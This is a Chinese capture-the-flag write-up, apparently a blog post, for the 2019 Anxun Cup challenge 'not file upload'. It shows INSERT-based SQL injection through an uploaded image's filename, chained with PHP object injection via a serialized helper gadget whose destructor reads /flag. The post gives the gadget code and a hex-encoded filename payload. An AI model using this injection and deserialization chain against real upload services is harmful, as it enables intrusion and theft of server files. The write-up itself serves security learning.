[安洵杯 2019]不是文件上传

知识点

  • SQL注入

WP

进入环境,有一个upload.php可以传文件,有一个show.php可以查看上传的列表,发现有点像是存入了数据库,再考虑到以前似乎听说过文件上传中文件名的SQL注入,就猜测这题应该其实是一个SQL注入。在filename那里尝试了一下,一开始是1.png可以,1.png'提示我必须上传图片,再考虑到show.php那里的回显,文件名是被加密的,因此猜测后端可能是把.png前面的东西单独的处理,存入了数据库,于是这样:1'.php,果然报wrong了,再试试1'or'1.php,又上传成功了,因此这里存在SQL注入,而且肯定是insert注入了。
经过尝试,发现后面是5列:
1',2,3,4,5);#.png
在这里插入图片描述
在这里插入图片描述
2和4那里可以回显,然后进行SQL注入,然后。。。就没然后了,写不了马读不了文件,flag也不在库里,卡住了。

看了一下WP,原来首页可以继续往下拉,有这个:
在这里插入图片描述
去github上查wowouploadimage,得到源码:
在这里插入图片描述
把源码下载下来,大致审一下,发现其实逻辑和我之前猜测的都差不多,只不过是helper.php中还有这个:

	public function view_files($path){
		if ($this->ifview == False){
			return False;
			//The function is not yet perfect, it is not open yet.
		}
		$content = file_get_contents($path);
		echo $content;
	}

	function __destruct(){
		# Read some config html
		$this->view_files($this->config);
	}

而图片表的attr列,原来是存储了序列化信息的:

		$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
		$array["attr"] = serialize($my_ext);

在show.php里面:

	public function Get_All_Images(){
		$sql = "SELECT * FROM images";
		$result = mysqli_query($this->con, $sql);
		if ($result->num_rows > 0){
		    while($row = $result->fetch_assoc()){
		    	if($row["attr"]){
		    		$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
					$attr = unserialize($attr_temp);
				}
		        echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
		    }
		}else{
		    echo "<p>You have not uploaded an image yet.</p>";
		}
		mysqli_close($this->con);
	}

取数据,然后注意:$attr = unserialize($attr_temp);,因此既然可以SQL注入了,直接构造反序列化,进行反序列化攻击了。
构造出的字符串直接弄不上去,因为文件名中不能有单引号。我拿python脚本也传部上去,看了WP是改成十六进制,日了我太菜了忘记了这茬。

<?php
class helper {
    protected $ifview = True;
    protected $config = "/flag";
}
echo bin2hex(serialize(new helper()));
filename="1',2,3,4,0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#.png"

再访问show.php即可得到flag。主要还是学习了文件上传中还能有SQL注入。

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值